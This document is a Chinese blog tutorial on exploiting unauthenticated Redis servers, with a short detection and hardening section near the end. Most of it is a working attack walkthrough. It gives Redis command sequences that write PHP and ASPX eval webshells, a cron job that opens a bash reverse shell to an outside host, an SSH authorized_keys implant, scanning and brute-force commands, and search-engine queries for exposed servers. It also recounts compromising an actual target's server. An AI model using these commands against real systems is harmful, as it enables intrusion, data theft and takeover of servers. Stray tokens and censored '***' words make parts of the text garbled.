Redis漏洞利用與防護

Redis在大公司被大量應用,經過筆者的研究發現,目前在互聯網上已經出現Redis未經受權病毒似自動***,***成功後會對內網進行掃描、控制、感染以及用來進行挖礦、勒索等惡意行爲,早期網上曾經分析過一篇文章「經過redis感染linux版本勒索病毒的服務器」(http://www.sohu.com/a/143409075_765820),若是公司使用了Redis,那麼應當給予重視,經過實際研究,當在必定條件下,***者能夠獲取webshell,甚至root權限。php

1.1.1 Redis簡介及搭建實驗環境

REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。html

Redis是一個開源的使用ANSI C語言編寫、遵照BSD協議、支持網絡、可基於內存亦可持久化的日誌型、Key-Value數據庫,並提供多種語言的API。它一般被稱爲數據結構服務器,由於值(value)能夠是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等類型。從2010年3月15日起,Redis的開發工做由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。目前最新穩定版本爲4.0.8。node

1.Redis默認端口linux

Redis默認配置端口爲6379,sentinel.conf配置器端口爲26379git

2.官方站點github

https://redis.io/web

http://download.redis.io/releases/redis-3.2.11.tar.gzredis

3.安裝redisshell

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

最新版本前期漏洞已經修復,測試時建議安裝3.2.11版本。數據庫

4.修改配置文件redis.conf

(1)cp redis.conf ./src/redis.conf
(2)bind 127.0.0.1前面加上#號註釋掉
(3)protected-mode設爲no
(4)啓動redis-server
./src/redis-server redis.conf

最新版安裝成功後,如圖1所示。默認的配置是使用6379端口,沒有密碼。這時候會致使未受權訪問而後使用redis權限寫文件。

1-配置redis.jpg

圖1安裝配置redis

5.鏈接Redis服務器

1)交互式方式

redis-cli -h {host} -p {port}

方式鏈接,而後全部的操做都是在交互的方式實現,不須要再執行redis-cli了,例如命令:redis-cli -h 127.0.0.1-p 6379,加-a參數表示帶密碼的訪問。

(2)命令方式

redis-cli -h {host} -p {port} {command}

直接獲得命令的返回結果.

6.常見命令

(1)查看信息:info
(2)刪除全部數據庫內容:flushall
(3)刷新數據庫:flushdb
(4)看全部鍵:KEYS *,使用select num能夠查看鍵值數據。
(5)設置變量:set test 「who am i」
(6)config set dir dirpath 設置路徑等配置
(7)config get dir/dbfilename 獲取路徑及數據配置信息
(8)save保存
(9)get 變量,查看變量名稱

更多命令能夠參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

7.相關漏洞

因配置不當能夠未經受權訪問,***者無需認證就能夠訪問到內部數據,其漏洞可致使敏感信息泄露(Redis服務器存儲一些有趣的session、cookie或商業數據能夠經過get枚舉鍵值),也能夠惡意執行flushall來清空全部數據,***者還可經過EVAL執行lua代碼,或經過數據備份功能往磁盤寫入後門文件。若是Redis以root身份運行,能夠給root帳戶寫入SSH公鑰文件,直接免密碼登陸服務器,其相關漏洞信息以下:

(1)Redis 遠程代碼執行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在緩衝區溢出漏洞,可致使任意代碼執行。Redis數據結構存儲的CONFIG SET命令中client-output-buffer-limit選項處理存在越界寫漏洞。構造的CONFIG SET命令可致使越界寫,代碼執行。

(2)CVE-2015-8080

Redis 2.8.x在2.8.24之前和3.0.x 在3.0.6之前版本,lua_struct.c中存在getnum函數整數溢出,容許上下文相關的***者許可運行Lua代碼(內存損壞和應用程序崩潰)或可能繞過沙盒限制意圖經過大量,觸發基於棧的緩衝區溢出。

(3)CVE-2015-4335

Redis 2.8.1以前版本和3.0.2以前3.x版本中存在安全漏洞。遠程***者可執行eval命令利用該漏洞執行任意Lua字節碼

(4)CVE-2013-7458

讀取「.rediscli_history」配置文件信息。

1.1.2 Redis***思路

1. 內網端口掃描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

2.經過文件包含讀取其配置文件

Redis配置文件中通常會設置明文密碼,在進行***時也能夠經過webshell查看其配置文件,Redis每每不僅一臺計算機,能夠利用其來進行內網***,或者擴展權限***。

3.使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令爲:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

須要安裝node:

git clone https://github.com/nodejs/node.git
chmod -R 755 node
cd node
./configure
make

4.msf下利用模塊

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login    normal     Redis Login Utility
auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

1.1.3Redis漏洞利用

1. 獲取webshell

當redis權限不高時,而且服務器開着web服務,在redis有web目錄寫權限時,能夠嘗試往web路徑寫webshell,前提是知道物理路徑,精簡命令以下:

config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save

2.反彈shell

(1)鏈接Redis服務器

redis-cli –h 
192.168.106.135 –p 6379

2)在192.168.106.133上執行

nc –vlp 7999

(3)執行如下命令

set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1\n\n"
config set dir /var/spool/cron/
ubantu文件爲:/var/spool/cron/crontabs/
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

3.免密碼登陸ssh

ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3+rrWHRaSUqLD5+auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK+rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5+sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH+TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul root@kali2018\n\n\n"
save

執行效果如圖2所示。

2-Redis漏洞SSH免密碼登陸.jpg

圖2Redis漏洞SSH免密碼登陸

4.使用漏洞搜索引擎搜索

(1)對「port: 6379」進行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去顯示「-NOAUTH Authentication required.」的結果,顯示這個信息表示須要進行認證,也即須要密碼才能訪問。

(3)https://fofa.so/

關鍵字檢索:port="6379" && protocol==redis && country=CN

1.1.4 Redis帳號獲取webshell實戰

1.掃描某目標服務器端口信息

經過nmap對某目標服務器進行全端口掃描,發現該目標開放Redis的端口爲3357,默認端口爲6379端口,再次經過iis put scaner軟件進行同網段服務器該端口掃描,如圖3所示,獲取兩臺開放該端口的服務器。

3-掃描3357端口.jpg

圖3掃描同網段開放該端口的服務器

2.使用telnet登陸服務器

使用命令「telnet ip port」命令登陸,例如telnet 1**.**.**.78 3357,登陸後,輸入auth和密碼進行認證。

3.查看並保存當前的配置信息

經過「config get命令」查看dir和dbfilename的信息,並複製下來留待後續恢復使用。

config get dir
config get dbfilename

4.配置並寫入webshell

(1)設置路徑

config set dir E:/www/font

(2)設置數據庫名稱

   將dbfilename對名稱設置爲支持腳本類型的文件,例如網站支持php,則設置file.php便可,本例中爲aspx,因此設置redis.aspx。

config set dbfilename redis.aspx

(3)設置webshell的內容

  根據實際狀況來設置webshell的內容,webshell僅僅爲一個變量,能夠是a等其餘任意字符,下面爲一些參考示例。

set webshell "<?php phpinfo(); ?>"
 //php查看信息
set webshell "<?php @eval($_POST['chopper']);?> "
 //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意雙引號使用\"

(4)保存寫入的內容

save

(5)查看webshell的內容

get webshell

 完整過程執行命令如圖4所示,每一次命令顯示「+OK」表示配置成功。

4-寫shell.jpg

圖4寫入webshell

5. 測試webshell是否正常

在瀏覽器中輸入對應寫入文件的名字,如圖5所示進行訪問,出現相似:

「REDIS0006?webshell'a@H攙???」則代表正確獲取webshell。

5-測試webshell.jpg

圖5測試webshell是否正常

6.獲取webshell

如圖6所示,使用中國菜刀後門管理鏈接工具,成功獲取該網站的webshell。

6-獲取webshell.jpg

圖6獲取webshell

7.恢復原始設置

(1)恢復dir

config set dir dirname

(2)恢復dbfilename

config set dbfilename dbfilename

(3)刪除webshell

del webshell

(4)刷新數據庫

flushdb

8.完整命令總結

telnet 1**.**.**.35 3357
auth 123456
config get dir
config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a

9.查看redis配置conf文件

經過webshell,在其對應目錄中發現還存在其它地址的redis,經過相同方法能夠再次進行***,如圖7所示,能夠看到路徑、端口、密碼等信息。

7-查看redis配置文件.jpg

圖7查看redis其配置文件

1.1.5Redis***檢測和安全防範

1.***檢測

(1)檢測key

   經過本地登陸,經過「keys *」命令查看,若是有***則其中會有不少的值,如圖8所示,在keys *執行成功後,能夠看到有trojan1和trojan2命令,執行get trojan1便可進行查看。

8-linux***病毒.jpg

圖8檢查keys

(2)linux下須要檢查authorized_keys

Redis內建了名爲crackit的key,也能夠是其它值,同時Redis的conf文件中dir參數指向了/root/.ssh,/root/.ssh/authorized_keys被覆蓋或者包含Redis相關的內容,查看其值就能夠知道是否被***過。

(3)對網站進行webshell掃描和分析,發現利用Redis帳號漏洞的,則在shell中會村在Redis字樣。

(4)對服務器進行後門清查和處理。

2.修復辦法

(1)禁止公網開放Redis端口,能夠在防火牆上禁用6379 Redis的端口

(2)檢查authorized_keys是否非法,若是已經被修改,則能夠從新生成並恢復,不能使用修改過的文件。並重啓ssh服務(service  ssh restart)

(3)增長 Redis 密碼驗證

首先中止REDIS服務,打開redis.conf配置文件(不一樣的配置文件,其路徑可能不一樣)  /etc/redis/6379.conf,找到# # requirepass foobared去掉前面的#號,而後將foobared改成本身設定的密碼,重啓啓動redis服務。

(4)修改conf文件禁止全網訪問,打開6379.conf文件,找到bind0.0.0.0前面加上#  (禁止全網訪問)。

3.可參考加固修改命令

port 修改redis使用的默認端口號
bind 設定redis監聽的專用IP
requirepass 設定redis鏈接的密碼
rename-command CONFIG ""    #禁用CONFIG命令
rename-command info info2   #重命名info爲info2

 1.1.6總結

不少人一看到網絡***,就會以爲******很難,很高深,很複雜。爲響應讀者號召,我將藉助51CTO博客這個平臺,把我18年來積累的網絡***實戰經驗,精中取精,集結成17篇文章,讓你們更針對性的瞭解SQLmap在網絡***方向的應用。

本專欄主要介紹如何利用SQLmap來進行網絡***,內容上由淺入深,從SQLMap安裝、SQLmap命令參數解讀,到各類***利用場景和各類利用技巧,全方位解讀SQLmap。

專欄的每個示例,都是通過精挑細選的來自真實環境的***,都是一個圖文並茂的***故事。

對於有疑問的地方,你們能夠隨時留言,我會隨時解答。

專欄地址:

******入門到實踐,讓SQLmap子*彈飛一下子

專欄二.jpg


參考文章

http://cve.scap.org.cn/CVE-2015-8080.html

http://cve.scap.org.cn/CVE-2015-4335.html

相關文章
相關標籤/搜索